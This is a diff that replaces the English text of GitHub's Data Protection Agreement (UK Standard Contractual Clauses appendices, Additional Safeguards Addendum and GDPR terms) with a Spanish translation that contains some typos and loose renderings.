+  <li>Las disposiciones que se relacionan con los aspectos de protección de datos para el subprocesamiento del cntracto al cual se refiere en el párrafo 1 deberán regirse por la ley del Estado Miembro en el cual se establezca el exportador de los datos.</li>
 
-  <li>The data exporter shall keep a list of subprocessing agreements concluded under the Clauses and notified by the data importer pursuant to Clause 5 (j), which shall be updated at least once a year. The list shall be available to the data exporter's data protection supervisory authority.</li>
+  <li>El exportador de los datos deberá mantener una lista de contratos de subprocesamiento que se celebren bajo las Cláusulas y que el importador de los datos notifique de acuerdo con la Cláusula 5 (j), la cual se debe actualizar por lo menos una vez al año. La lista deberá estar disponible para la autoridad supervisora de protección de datos del exportador de los datos.</li>
 </ol>
 
-### Clause 12: Obligation after the termination of personal data processing services
+### Cláusula 12: Obligaciones después de la terminación de los servicios de procesamiento de datos personales
 
 <ol style="list-style-type:decimal" class="no-styling">
-  <li>The parties agree that on the termination of the provision of data processing services, the data importer and the subprocessor shall, at the choice of the data exporter, return all the personal data transferred and the copies thereof to the data exporter or shall destroy all the personal data and certify to the data exporter that it has done so, unless legislation imposed upon the data importer prevents it from returning or destroying all or part of the personal data transferred. In that case, the data importer warrants that it will guarantee the confidentiality of the personal data transferred and will not actively process the personal data transferred anymore.</li> 
+  <li>Las partes acuerdan que, en la terminación de la prestación de los servicios de procesamiento de datos, el importador y subprocesador de los mismos deberá, a elección del exportador, regresar todos los datos personales transferidos y las copias de los mismos al exportador de los datos o deberá destruir todos los dtos personales y certificar ante el exportador de los datos que así lo ha hecho, a menos de que la legislación impuesta en el importador de los datos impida que regrese o destrulla todos o parte de los datos personales transferidos. En dado caso, el importador de los datos justifica que garantizará la confidencialidad de los datos personales transferidos y que ya no procesará activamente dichos datos personales.</li> 
 
-  <li>The data importer and the subprocessor warrant that upon request of the data exporter and/or of the supervisory authority, it will submit its data processing facilities for an audit of the measures referred to in paragraph 1.</li>
+  <li>El importador de los datos y el subprocesador garantizan que, bajo solicitud del exportador de los datos y/o de la autoridad supervisora, emitirán sus instalaciones de procesamiento de datos para auditoría de las medidas descritas en el párrafo 1.</li>
 </ol>
 
-### Appendix 1 to the Standard Contractual Clauses (UK)
+### Apéndice 1 para las Cláusulas Contractuales Estándar (UK)
 
-**Data exporter**: Customer is the data exporter. The data exporter is a user of Online Services or Professional Services as defined in the DPA and GitHub Customer Agreement. 
+**Exportador de datos**: El Cliente es el exportador de datos. El exportador de datos es un usuario de los Servicios en Línea o Servicios Profesionales de acuerdo a lo que se define en el DPA y en el Acuerdo de Cliente de GitHub.
 
-**Data importer**: The data importer is GitHub, Inc., a global producer of software and services. 
+**Importador de los datos**: El importador de los datos es GitHub, Inc., un productor global de software y servicios.
 
-**Data subjects**: Data subjects include the data exporter’s representatives and end-users including employees, contractors, collaborators, and customers of the data exporter. Data subjects may also include individuals attempting to communicate or transfer personal data to users of the services provided by data importer. GitHub acknowledges that, depending on Customer’s use of the Online Service or Professional Services, Customer may elect to include personal data from any of the following types of data subjects in the personal data:
-- Employees, contractors and temporary workers (current, former, prospective) of data exporter;
-- Data exporter's collaborators/contact persons (natural persons) or employees, contractors or temporary workers of legal entity collaborators/contact persons (current, prospective, former);
-- Users and other data subjects that are users of data exporter's services;
-- Partners, stakeholders or individuals who actively collaborate, communicate or otherwise interact with employees of the data exporter and/or use communication tools such as apps and websites provided by the data exporter.
+**Titulares de los datos**: Los titulares de los datos incluyen a los representantes de los exportadores de datos y a los usuarios finales, incluyendo a los empleados, consultores, colaboradores, y clientes del exportador de los datos. Los titulares de los datos también podrían incluir a aquellos individuos que intentan comunicarse o transferir datos personales a los usuarios de los servicios proporcionados por el importador de los datos. GitHub reconoce que, dependiendo del uso del Cliente para el Servicio en Línea o Servicios Profesionales, este podrá elegir el incluir datos personales desde cualquier otro de los siguientes tipos de sujetos de datos en ellos:
+- Empleados, consultores y trabajadores temporales (actuales, previos o futuros) del exportador de los datos;
+- Consultores/personas de contacto del exportador de datos (personas naturales) o los empleados, consultores o trabajadores temporales de la entidad legal de las personas de contacto/consultores (actuales, futuros, pasados);
+- Usuarios y otros sujetos de datos que sean usuarios de servicios de exportación de datos;
+- Socios, interesados o individuos que colaboren, se comuniquen o interactuen activamente de otra forma con los empleados del exportador de los datos y/o que utilicen herramientas de comunicación tales como apps y sitios web que proporcione el exportador de los datos.
 
-**Categories of data**: The personal data transferred that is included in e-mail, documents and other data in an electronic form in the context of the Online Services or Professional Services. GitHub acknowledges that, depending on Customer’s use of the Online Service or Professional Services, Customer may elect to include personal data from any of the following categories in the personal data:
-- Basic personal data (for example place of birth, street name and house number (address), postal code, city of residence, country of residence, mobile phone number, first name, last name, initials, email address, gender, date of birth);
-- Authentication data (for example user name, password or PIN code, security question, audit trail);
-- Contact information (for example addresses, email, phone numbers, social media identifiers; emergency contact details);
-- Unique identification numbers and signatures (for example IP addresses, employee number, student number);
-- Pseudonymous identifiers; 
-- Photos, video and audio;
-- Internet activity (for example browsing history, search history, reading and viewing activities);
-- Device identification (for example IMEI-number, SIM card number, MAC address);
-- Profiling (for example based on observed criminal or anti-social behavior or pseudonymous profiles based on visited URLs, click streams, browsing logs, IP-addresses, domains, apps installed, or profiles based on marketing preferences);
-- Special categories of data as voluntarily provided by data subjects (for example racial or ethnic origin, political opinions, religious or philosophical beliefs, trade union membership, genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health, data concerning a natural person’s sex life or sexual orientation, or data relating to criminal convictions or offences); or
-- Any other personal data identified in Article 4 of the GDPR.
+**Categorías de los datos:** Los datos personales transferidos que se incluyen en los correos electrónicos, documentos y en otros tipos de datos en forma electrónica o en el contexto del Servicio en Línea o de los Servicios Profesionales. GitHub reconoce que, dependiendo del uso que el Cliente dé al Servicio en Línea o Servicios Profesionales, este podrá elegir incluir datos personales de cualquiera de las siguientes categorías entre los suyos:
+- Datos personales básicos (por ejemplo: lugar de nacimiento, nombre de calle y número de casa (dirección), código postal, ciudad de residencia, país de residencia, número de teléfono móvil, nombre, apellido, iniciales, dirección de correo electrónico, género, fecha de naciemiento);
+- Datos de autenticación (por ejemplo: nombre de usuario, contraseña, código PIN, pregunta de seguridad, rastro de auditoría);
+- Información de contacto (por ejemplo: direcciones, correo electrónico, números telefónicos, identificadores de redes sociales; detalles de contactos de emergencia);
+- Números de identificación únicos y firmas (por ejemplo: direcciones IP, número de empleado, número de alumno);
+- Identificadores pseudónimos;
+- Fotos, video y audio;
+- Actividad en internet (por ejemplo; historial de búsqueda, actividades de visualización y lectura);
+- Identificación de dispositivos (por ejemplo, número IMEI, número de tarjeta SIM, dirección MAC);
+- Perfilado (por ejemplo: con base en el comportamiento criminal o antisocial que se haya observado o perfiles pseudónimos con base en las URL visitadas, clics en transmisiones, bitácoras de búsqueda, direcciones IP, dominios, apps instaladas o perfiles con base en las preferencias de mercadeo);
+- Categorías especiales de datos que los sujetos de datos proporcionen de forma voluntaria (por ejemplo: origen racial o étnico, opiniones políticas, creencias filosóficas o religiosas, membrecías de sindicatos, datos genéticos, datos biométricos para identificar únicamente a una persona natural, datos sobre la salud, datos sobre la vida u orientación sexual de una persona o datos relacionados con convicciones u ofensas criminales); o
+- Cualquier otro tipo de datos identificados en el Artículo 4 de la GDPR.
 
-**Processing operations**: The personal data transferred will be subject to the following basic processing activities: 
+**Operaciones de procesamiento**: Los datos personales transferidos estarán sujetos a las siguientes actividades de procesamiento básicas:
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li><b>Duration and Object of Data Processing.</b> The duration of data processing shall be for the term designated under the applicable GitHub Customer Agreement between data exporter and data importer. The objective of the data processing is the performance of Online Services and Professional Services.</li>
-    <li><b>Scope and Purpose of Data Processing.</b> The scope and purpose of processing personal data is described in the “Processing of Personal Data; GDPR” section of the DPA. The data importer operates a global network of data centers and management/support facilities, and processing may take place in any jurisdiction where data importer or its sub-processors operate such facilities in accordance with the “Security Practices and Policies” section of the DPA.</li>
-    <li><b>Personal Data Access.</b> For the term designated under the applicable GitHub Customer Agreement data importer will at its election and as necessary under applicable law, either: (1) provide data exporter with the ability to correct, delete, or block personal data, or (2) make such corrections, deletions, or blockages on its behalf.</li>
-    <li><b>Data Exporter’s Instructions.</b> For Online Services and Professional Services, data importer will only act upon data exporter’s instructions as conveyed by GitHub.</li>
-    <li><b>Personal Data Deletion or Return.</b> Upon expiration or termination of data exporter’s use of Online Services or Professional Services, it may extract personal data and data importer will delete personal data, each in accordance with the DPA Terms applicable to the agreement.</li>
+    <li><b>Duración y propósito del procesamiento de datos.</b> La duración del procesamiento de datos deberá ser por el periodo de tiempo desganado bajo el Acuerdo de Cliente de GitHub aplicable entre el exportador y el importador de datos. El objetivo del procesamiento de los datos es el desempeño de los Servicios en Línea y Servicios Profesionales.</li>
+    <li><b>Alcance y propósito del procesamiento de datos.</b> El alcance y propósito de procesar datos personales se describe en la sección "Procesamiento de Datos Personales; GDPR" del DPA. El importador de datos opera una red global de centros de datos e instalaciones de soporte/administración y dicho procesamiento podría tomar lugar en cualquier jurisdicción en donde el importador de datos o sus subprocesadores operen dichas instalaciones de acuerdo con la sección de "Prácticas y Políticas de Seguridad" del DPA.</li>
+    <li><b>Acceso a los datos personales.</b> Durante el periodo designado bajo el Acuerdo de Cliente de GitHub aplicable, el importador de datos, bajo su elección y de acuerdo como sea necesario bajo la ley aplicable, ya sea: (1) proporcionará al exportador de datos la capacidad de corregir, borrar o bloquear los datos personales, o (2) realizará dichas correcciones, borrados o bloqueos en su nombre.</li>
+    <li><b>Instrucciones del exportador de datos.</b> Para el caso de los Servicios en Línea y Servicios Profesionales, el importador de datos solo actuará según las instrucciones del exportador de datos de acuerdo a lo convenido por GitHub.</li>
+    <li><b>Borrado o devolución de datos personales.</b> Cuando venza o finalice el uso de los Servicios en Línea o Servicios Profesionales por parte del exportador de datos, este podrá extraer datos personales y el importador de datos borrará dichos datos personales, cada uno de acuerdo con los Términos del DPA que apliquen al acuerdo.</li>
 </ol>
 
-**Subcontractors**: In accordance with the DPA, the data importer may hire other companies to provide limited services on data importer’s behalf, such as providing customer support. Any such subcontractors will be permitted to obtain personal data only to deliver the services the data importer has retained them to provide, and they are prohibited from using personal data for any other purpose.
+**Subcontratistas**: De acuerdo con la DPA, el importador de los datos podrá contratar a otras compañías para proporcionar servicios limitados en nombre del importador de los datos, tales como proporcionar soporte al cliente. Se permitirá a cualquier subcontratista obtener los datos personales únicamente para entregar los servicios que el importador de datos haya retenido en su entrega y se prohibirá utilizar datos personales para cualquier otro propósito.
 
-### Appendix 2 to the Standard Contractual Clauses (UK)
+### Apéndice 2 para las Cláusulas Contractuales Estándar (UK)
 
-Description of the technical and organizational security measures implemented by the data importer in accordance with Clauses 4(d) and 5(c):
+Descripción de las medidas de seguridad técnicas y organizacionales implementadas por el importador de los datos de acuerdo con las Cláusulas 4(d) y 5(c):
 
 <ol style="list-style-type:decimal" class="no-styling">
-  <li><b>Personnel.</b> Data importer’s personnel will not process personal data without authorization. Personnel are obligated to maintain the confidentiality of any such personal data and this obligation continues even after their engagement ends.</li>
+  <li><b>Personal.</b> El personal del importador de datos no procesará datos personales sin autorización. El personal está obligado a mantener la confidencialidad de cualquier dato personal y dicha obligación seguirá incluso después de que su relación termine.</li>
 
-  <li><b>Data Privacy Contact.</b> The data privacy officer of the data importer can be reached at the following address:</br>
+  <li><b>Contacto de privacidad de datos.</b> Se puede contactar al Director de privacidad de datos del importador de datos en la siguiente dirección:</br>
 GitHub, Inc.</br>
 Attn: Privacy</br>
 88 Colin P. Kelly Jr. Street</br>
-San Francisco, California 94107 USA</br></li>
+San Francisco, California 94107 EE.UU.</br></li>
 
-  <li><b>Technical and Organization Measures.</b> The data importer has implemented and will maintain appropriate technical and organizational measures, internal controls, and information security routines intended to protect personal data, as defined in the Security Practices and Policies section of the DPA, against accidental loss, destruction, or alteration; unauthorized disclosure or access; or unlawful destruction as follows: The technical and organizational measures, internal controls, and information security routines set forth in the Security Practices and Policies section of the DPA are hereby incorporated into this Appendix 2 by this reference and are binding on the data importer as if they were set forth in this Appendix 2 in their entirety.</li>
+  <li><b>Medidas técnicas y organizacionales.</b> El importador de datos ha implementado y mantendrá las medidas técnicas y organizacionales, controles internos y rutinas de seguridad informática adecuados y previstos para la protección de datos personales de acuerdo con lo que se define en la sección de Políticas y Prácticas de Seguridad del DPA contra la pérdida accidental, destrucción o alteración; divulgación no autorizada o acceso o destrucción ilegal de acuerdo con lo siguiente: Las medidas técnicas y organizacionales, controles internos y rutinas de seguridad informática establecidas en la sección de Políticas y Prácticas de Seguridad del DPA se incorporan al presente Apéndice 2 mediante esta referencia y vinculan al importador de datos como si se hubieran establecido en este Apéndice 2 íntegramente.</li>
 </ol>
 
-### Appendix 3 to the Standard Contractual Clauses (UK)
+### Apéndice 3 para las Cláusulas Contractuales Estándar (UK)
 
-**Additional Safeguards Addendum**
+**Adenda de Salvaguardas Adicionales**
 
-By this Additional Safeguards Addendum to Standard Contractual Clauses (UK) (this “Addendum”), GitHub, Inc. (“GitHub”) provides additional safeguards to Customer and additional redress to the data subjects to whom Customer’s personal data relates. 
+Mediante la presente Adenda de Salvaguardas Adicionales a las Cláusulas Contractuales Estándar (UK) (esta "Adenda"), GitHub, Inc. ("GitHub") proporciona salvaguardas adicionales a los clientes y direcciones adicionales a los sujetos de datos a quienes se refieren los datos personales de Cliente.
 
-This Addendum supplements and is made part of, but is not in variation or modification of, the Standard Contractual Clauses (UK).
+La presente Adenda complementa y se hace parte de, pero no para variar ni modificar a, las Cláusulas Contractuales Estándar (UK).
 
 <ol style="list-style-type:decimal" class="no-styling">
-    <li><u><b>Challenges to Orders</b></u>. In addition to Clause 5(d)(i) of the Standard Contractual Clauses (UK), in the event GitHub receives an order from any third party for compelled disclosure of any personal data that has been transferred under the Standard Contractual Clauses (UK), GitHub shall:</li>
+    <li><u><b>Impugnaciones a las órdenes</b></u>. Adicionalmente a la Cláusula 5(d)(i) de las Cláusulas Contractuales Estándar (UK), en caso de que GitHub reciba una orden de cualquier tercero sobre la divulgación obligatoria de cualquier dato personal que se haya transferido bajo las Cláusulas Contractuales Estándar (UK), GitHub deberá:</li>
     <ol style="list-style-type:lower-alpha" class="no-styling">
-        <li>use every reasonable effort to redirect the third party to request data directly from Customer;</li>
-        <li>promptly notify Customer, unless prohibited under the law applicable to the requesting third party, and, if prohibited from notifying Customer, use all lawful efforts to obtain the right to waive the prohibition in order to communicate as much information to Customer as soon as possible; and</li>
-        <li>use all lawful efforts to challenge the order for disclosure on the basis of any legal deficiencies under the laws of the requesting party or any relevant conflicts with the law of the European Union or applicable Member State law.</li>
+        <li>utilizar esfuerzos razonables para redirigir al tercero para que solicite los datos directamente del Cliente;</li>
+        <li>notificar inmediatamente al Cliente, a menos de que la legislación aplicable lo prohíba para el tercero solicitante y, en caso de que esta prohíba notificar al Cliente, utilizar esfuerzos legales para obtener el derecho de exonerar la prohibición para comunicar al Cliente tanta información como sea posible lo más rápido posible; y</li>
+        <li>utilizar esfuerzos legales para impugnar la orden de divulgación con base en cualquier deficiencia legal bajo las leyes de la parte solicitante o cualquier conflicto relevante con la ley de la Unión Europea o la Ley del Estado miembro aplicable.</li>
     </ol></br>
-    For purpose of this section, lawful efforts do not include actions that would result in civil or criminal penalty such as contempt of court under the laws of the relevant jurisdiction. 
-    <li><u><b>Indemnification of Data Subjects</b></u>. Subject to Sections 3 and 4, GitHub shall indemnify a data subject for any material or non-material damage to the data subject caused by GitHub’s disclosure of personal data of the data subject that has been transferred under the Standard Contractual Clauses (UK) in response to an order from a non-EU/EEA government body or law enforcement agency (a “Relevant Disclosure”). Notwithstanding the foregoing, GitHub shall have no obligation to indemnify the data subject under this Section 2 to the extent the data subject has already received compensation for the same damage, whether from GitHub or otherwise.</li>
-    <li><u><b>Conditions of Indemnification</b></u>. Indemnification under Section 2 is conditional upon the data subject establishing, to GitHub’s reasonable satisfaction, that:</li>
+    Para el propósito de esta sección, los esfuerzos legales no incluirán las acciones que pudieran dar como resultado sanciones judiciales o civiles, tales como desacato a la corte bajo las leyes de la jurisdicción relevante. 
+    <li><u><b>Indemnización de los sujetos de datos</b></u>. Sujeto a las Secciones 3 y 4, GitHub deberá indemnizar a cualquier sujeto de datos por el daño material o no material al mismo que ocasiones la divulgación de sus datos personales por parte de GitHub, la cual se haya transferido bajo las Cláusulas Contractuales Estándar (UK) en respuesta a una orden de un cuerpo gubernamental o agencia policial diferentes a los de la UE/EEA (una "Divulgación Relevante"). No obstante de lo anterior, GitHub no tendrá obligación de indemnizar al sujeto de datos bajo esta sección 2 conforme a lo dispuesto cuando el sujeto de datos ya haya recibido una compensación por el mismo daño, ya sea de GitHub o de cualquier otro modo.</li>
+    <li><u><b>Condiciones de indemnización</b></u>. La indemnización bajo la sección 2 es condicional al establecimiento del sujeto de datos, para la satisfacción razonable de GitHub, que:</li>
     <ol style="list-style-type:lower-alpha" class="no-styling">
-        <li>GitHub engaged in a Relevant Disclosure;</li>
-        <li>the Relevant Disclosure was the basis of an official proceeding by the non-EU/EEA government body or law enforcement agency against the data subject; and</li>
-        <li>the Relevant Disclosure directly caused the data subject to suffer material or non-material damage.</li>
+        <li>GitHub participó en una Divulgación Relevante;</li>
+        <li>dicha Divulgación Relevante fue la base de un procedimiento oficial del cuerpo gubernamental o agencia policial diferente a la de la UE/EEA en contra del sujeto de datos; y</li>
+        <li>la Divulgación Relevante ocasionó directamente que el sujeto de datos sufriera daños materiales o no materiales.</li>
     </ol></br>
-    The data subject bears the burden of proof with respect to conditions a. though c.</br>
-    Notwithstanding the foregoing, GitHub shall have no obligation to indemnify the data subject under Section 2 if GitHub establishes that the Relevant Disclosure did not violate its obligations under Chapter V of the GDPR. 
-    <li><u><b>Scope of Damages</b></u>. Indemnification under Section 2 is limited to material and non-material damages as provided in the GDPR and excludes consequential damages and all other damages not resulting from GitHub’s infringement of the GDPR.</li>
-    <li><u><b>Exercise of Rights</b></u>. Rights granted to data subjects under this Addendum may be enforced by the data subject against GitHub irrespective of any restriction in Clauses 3 or 6 of the Standard Contractual Clauses (UK). The data subject may only bring a claim under this Addendum on an individual basis, and not part of a class, collective, group or representative action. Rights granted to data subjects under this Addendum are personal to the data subject and may not be assigned.</li>
-    <li><u><b>Notice of Change</b></u>. In addition to Clause 5(b) of the Standard Contractual Clauses (UK), GitHub agrees and warrants that it has no reason to believe that the legislation applicable to it or its sub-processors, including in any country to which personal data is transferred either by itself or through a sub-processor, prevents it from fulfilling the instructions received from the data exporter and its obligations under this Addendum or the Standard Contractual Clauses (UK) and that in the event of a change in this legislation which is likely to have a substantial adverse effect on the warranties and obligations provided by this Addendum or the Standard Contractual Clauses (UK), it will promptly notify the change to Customer as soon as it is aware, in which case Customer is entitled to suspend the transfer of data and/or terminate the contract.
-    <li><u><b>Termination</b></u>. This Addendum shall automatically terminate if the European Commission, a competent Member State supervisory authority, or an EU or competent Member State court approves a different lawful transfer mechanism that would be applicable to the data transfers covered by the Standard Contractual Clauses (UK) (and if such mechanism applies only to some of the data transfers, this Addendum will terminate only with respect to those transfers) and that does not require the additional safeguards set forth in this Addendum.</br></br>
-    Signing the Standard Contractual Clauses (UK), Appendix 1, Appendix 2 and 
+    El sujeto de datos lleva la carga de prueba con respecto a las condiciones de la "a" a la "c".</br>
+    No obstante a lo anterior, GitHub no deberá tener obligación alguna de indemnizar al sujeto de datos bajo la Sección 2 si GitHub establece que la Divulgación Relevante no violó sus obligaciones bajo el Capítulo V de la GDPR. 
+    <li><u><b>Alance de los daños</b></u>. La indemnización bajo la sección 2 se limita a los daños materiales y no materiales estipulados en la GDPR y excluye los daños consecuenciales y todos los demás que no resulten de que GitHub haya incumplido con la GDPR.</li>
+    <li><u><b>Ejercicio de derechos</b></u>. Los derechos que se otorgan a los sujetos de datos bajo esta Adenda podrán hacerse valer contra GitHub independientemente de cualquier restricción de las Cláusulas 3 o 6 de las Cláusulas Contractuales Estándar (UK). El sujeto de datos solo podrá presentar una reclamación bajo esta Adenda de forma individual y no como parte de una clase, colectivo, grupo o acción representativa. Los derechos que se otorgan a los sujetos de datos bajo la presente Adenda son personales del sujeto de datos y no podrán asignarse.</li>
+    <li><u><b>Aviso de cambio</b></u>. Adicionalmente a la Cláusula 5(b) de las Cláusulas Contractuales Estándar (UK), GitHub acuerda y garantiza que no tiene razón para creer que la legislación aplicable a esta o a sus subprocesadores, incluyendo aquella en cualquier país al que se transfieran datos personales ya sea por ella misma o mediante un subprocesador, impide que lleve a cabo las instrucciones que recibe del exportador de datos y sus obligaciones bajo esta Adenda o bajo las Cláusulas Contractuales Estándar (UK) y que, en caso de que exista un cambio en esta legislación, el cual pueda tener efectos adversos sustanciales en las garantías y obligaciones que otorga esta Adenda o las Cláusulas Contractuales Estándar (UK), notificará inmediatamente sobre este cambio al Cliente tan pronto como se percate de él, en cuyo caso, el Cliente tendrá el derecho de suspender la transferencia de datos y/o terminar el contrato.
+    <li><u><b>Terminación</b></u>. La presente Adenda deberá terminarse automáticamente en caso de que la Comisión Europea, la autoridad supervisora de un Estado Miembro competente, o una corte de un Estado Miembro competente de la UE apruebe un mecanismo de transferencia legal diferente que pudiera ser aplicable a las transferencias de datos que se cubren en la Cláusulas Contractuales Estándar (UK) (y si dicho mecanismo aplica únicamente a algunos tipos de transferencias de datos, la presente Adenda terminará únicamente con respecto a ellas) y no requieran las salvaguardas adicionales que se estipulan en la presente.</br></br>
+    Firmar las Cláusulas Contractuales Estándar (UK), Apéndice 1, Apéndice 2 y el 
 </ol>
 
-<p id="attachment3"><h1>Attachment 3 – European Union General Data Protection Regulation Terms</h1></p>
+<p id="attachment3"><h1>Adjunto 3 – Términos del Reglamento General de Protección de Datos de la Unión Europea</h1></p>
 
-GitHub makes the commitments in these GDPR Related Terms, to all customers effective May 25, 2018. These commitments are binding upon GitHub with regard to Customer regardless of (1) the version of the GitHub Customer Agreement and DPA that is otherwise applicable to any given Online Services subscription or (2) any other agreement that references this attachment.
+GitHub se compromete a seguir estos Términos relacionados con el GDRP y lo hace efectivo para todos los clientes desde el 25 de mayo de 2018. Estos compromisos vinculan a GitHub con respecto al Cliente independientemente de (1) la versión del Acuerdo de Cliente de GitHub y el DPA que, de otro modo, es aplicable a cualquier suscripción a los Servicios en Línea o (2) cualquier otro acuerdo que referencie el presente adjunto.
 
-For purposes of these GDPR Related Terms, Customer and GitHub agree that Customer is the controller of Personal Data and GitHub is the processor of such data, except when Customer acts as a processor of Personal Data, in which case GitHub is a subprocessor. These GDPR Related Terms apply to the processing of Personal Data, within the scope of the GDPR, by GitHub on behalf of Customer. These GDPR Related Terms do not limit or reduce any data protection commitments GitHub makes to Customer in the GitHub Customer Agreement or other agreement between GitHub and Customer. These GDPR Related Terms do not apply where GitHub is a controller of Personal Data.
+Para efectos de los presentes Términos relacionados con el GDPR, el Cliente y GitHub acuerdan que el Cliente es el controlador de los Datos Personales y GitHub es el procesador de los mismos, excepto cuando el Cliente actúe como procesador de Datos Personales, en cuyo caso, GitHub, será un subprocesador. Los presentes Términos relacionados con el GDRP aplican al procesamiento de Datos Personales, dentro del alcance del GDPR, por parte de GitHub en nombre del Cliente. Los presentes Términos relacionados con el GDPR no limitan ni reducen ninguno de los compromisos para la protección de datos que GitHub hace con el Cliente en el Acuerdo de Cliente de GitHub ni en ningún otro acuerdo entre ellos. Estos Términos relacionados con el GDRP no aplican en donde GitHub sea el controlador de los Datos Personales.
 
-**Relevant GDPR Obligations: Articles 28, 32, and 33**
+**Obligaciones relevantes bajo el GDPR: Artículos 28, 32 y 33**
 
 <ol style="list-style-type:decimal" class="no-styling">
-    <li>GitHub shall not engage another processor without prior specific or general written authorisation of Customer. In the case of general written authorisation, GitHub shall inform Customer of any intended changes concerning the addition or replacement of other processors, thereby giving Customer the opportunity to object to such changes. (Article 28(2))</li>
-    <li>Processing by GitHub shall be governed by these GDPR Related Terms under European Union (hereafter “Union”) or Member State law and are binding on GitHub with regard to Customer. The subject-matter and duration of the processing, the nature and purpose of the processing, the type of Personal Data, the categories of data subjects and the obligations and rights of the Customer are set forth in the Customer’s licensing agreement, including these GDPR Related Terms. In particular, GitHub shall:</li>
+    <li>GitHub no deberá contratar a otro procesador sin previa autorización por escrito, general o específica, del Cliente. En el caso de una autorización por escrito, GitHub deberá informar al Cliente de cualquier cambio previsto con respecto a la adición o reemplazo de otros procesadores, dando así al Cliente la oportunidad de refutar dichos cambios. (Artículo 28(2))</li>
+    <li>El procesamiento por parte de GitHub deberá regirse por estos Términos relacionados con el GDPR bajo la legislación de la Unión Europea (en lo subsecuente "Unión") o del Estado Miembro y vinculan a GitHub con respecto al Cliente. El objeto, duración, naturaleza y propósito del procesamiento, el tipo de Datos Personales, las categorías de los sujetos de datos y las obligaciones y derechos del Cliente se establecen en el acuerdo de licencia del Cliente, incluyendo estos Términos relacionados con el GDPR. En particular, GitHub deberá:</li>
     <ol style="list-style-type:lower-alpha" class="no-styling">
-        <li>process the Personal Data only on documented instructions from Customer, including with regard to transfers of Personal Data to a third country or an international organisation, unless required to do so by Union or Member State law to which GitHub is subject; in such a case, GitHub shall inform Customer of that legal requirement before processing, unless that law prohibits such information on important grounds of public interest;</li>
-        <li>ensure that persons authorised to process the Personal Data have committed themselves to confidentiality or are under an appropriate statutory obligation of confidentiality;</li>
-        <li>take all measures required pursuant to Article 32 of the GDPR;</li>
-        <li>respect the conditions referred to in paragraphs 1 and 3 for engaging another processor;</li>
-        <li>taking into account the nature of the processing, assist Customer by appropriate technical and organisational measures, insofar as this is possible, for the fulfilment of the Customer’s obligation to respond to requests for exercising the data subject's rights laid down in Chapter III of the GDPR;</li>
-        <li>assist Customer in ensuring compliance with the obligations pursuant to Articles 32 to 36 of the GDPR, taking into account the nature of processing and the information available to GitHub;</li>
-        <li>at the choice of Customer, delete or return all the Personal Data to Customer after the end of the provision of services relating to processing, and delete existing copies unless Union or Member State law requires storage of the Personal Data;</li>
-        <li>make available to Customer all information necessary to demonstrate compliance with the obligations laid down in Article 28 of the GDPR and allow for and contribute to audits, including inspections, conducted by Customer or another auditor mandated by Customer.</li>
+        <li>procesar los Datos Personales únicamente en las instrucciones que documente el Cliente, incluyendo con respecto a las transferencias de los Datos Personales a un país tercero o a una organización internacional, a menos de que así lo requiera la legislación de la Unión o del Estado Miembro a la cual se someta Github; en cuyo caso, GitHub deberá informar al Cliente sobre dicho requisito legal antes del procesamiento, a menos de que dicha legislación prohíba tal información con bases de interés público importantes;</li>
+        <li>	
+garantizará que las personas autorizadas para tratar datos personales se hayan comprometido a respetar la confidencialidad o estén sujetas a una obligación de confidencialidad de naturaleza estatutaria;</li>
+        <li>tomar todas las medidas requeridas de acuerdo con el artículo 32 del GDPR;</li>
+        <li>respetar las condiciones a las que se refieren los párrafos 1 y 3 para la contratación de otro procesador;</li>
+        <li>tomar en cuenta la naturaleza del procesamiento, asistir al Cliente mediante las medidas técnicas y organizacionales adecuadas, siempre que sea posible, para el cumplimiento de la obligación del Cliente para responder a las solicitudes por ejercer los derechos del sujeto de datos como se estipulan en el Capítulo II del GDPR;</li>
+        <li>	
+ayudará al Cliente a garantizar el cumplimiento de las obligaciones establecidas en los artículos 32-36 del RGPD teniendo en cuenta la naturaleza del tratamiento y la información a disposición de GitHub;</li>
+        <li>bajo elección del Cliente, borrar o devolver todos los Datos Personales al Cliente después de terminar el aprovisionamiento de servicios relacionados con el procesamiento y borrar las copias existentes a menos de que la legislación del Estado Miembro o la Unión requiera el almacenamiento de Datos Personales;</li>
+        <li>poner a disposición del Cliente toda la información necesaria para demostrar el cumplimiento con las obligaciones que se estipulan en el Artículo 28 del GDPR y permitir y contribuir a las auditorías, incluyendo las inspecciones, que realice el Cliente o cualquier otro auditor designado por el mismo.</li>
     </ol></br>
-    GitHub shall immediately inform Customer if, in its opinion, an instruction infringes the GDPR or other Union or Member State data protection provisions. (Article 28(3))<br></br>
-    <li>Where GitHub engages another processor for carrying out specific processing activities on behalf of Customer, the same data protection obligations as set out in these GDPR Related Terms shall be imposed on that other processor by way of a contract or other legal act under Union or Member State law, in particular providing sufficient guarantees to implement appropriate technical and organisational measures in such a manner that the processing will meet the requirements of the GDPR. Where that other processor fails to fulfil its data protection obligations, GitHub shall remain fully liable to the Customer for the performance of that other processor's obligations. (Article 28(4))</li>
-    <li>Taking into account the state of the art, the costs of implementation and the nature, scope, context and purposes of processing as well as the risk of varying likelihood and severity for the rights and freedoms of natural persons, Customer and GitHub shall implement appropriate technical and organisational measures to ensure a level of security appropriate to the risk, including inter alia as appropriate:</li>
+    GitHub deberá informar al Cliente de inmediato si, a su consideración, una instrucción infringe el GDPR u otros aprovisionamientos de protección de datos del Estado Miembro o de la Unión. (Artículo 28(3))<br></br>
+    <li>Cuando GitHub contrate a otro procesador para llevar a cabo las actividades específicas de procesamiento en nombre del Cliente, se deberán imponer las mismas obligaciones para la protección de datos que las definidas en estos Términos relacionados con el GDPR en dicho procesador mediante un contrato u otro instrumento legal bajo la legislación del Estado Miembro o de la Unión, particularmente, que proporcione garantías suficientes para implementar las medidas técnicas y organizacionales adecuadas de tal forma que el procesamiento cumpla con los requisitos del GDPR. Cuando este otro procesador falle en cumplir con sus obligaciones de protección de datos, GitHub deberá seguir siendo totalmente responsable por el Cliente con respecto al rendimiento de las obligaciones de dicho procesador diferente. (Artículo 28(4))</li>
+    <li>Tomando en cuenta las tecnologías más actuales, los costos de implementación y la naturaleza, alcance, contexto y propósitos de procesamiento, así como el riesgo de la posibilidad y severidad variables en los derechos y libertades de las personas naturales, el Cliente y GitHub deberán implementar medidas técnicas y organizacionales adecuadas para garantizar el nivel de seguridad adecuada para con el riesgo, incluyendo entre otros y conforme sea adecuado:</li>
     <ol style="list-style-type:lower-alpha" class="no-styling">
-        <li>the pseudonymisation and encryption of Personal Data;</li>
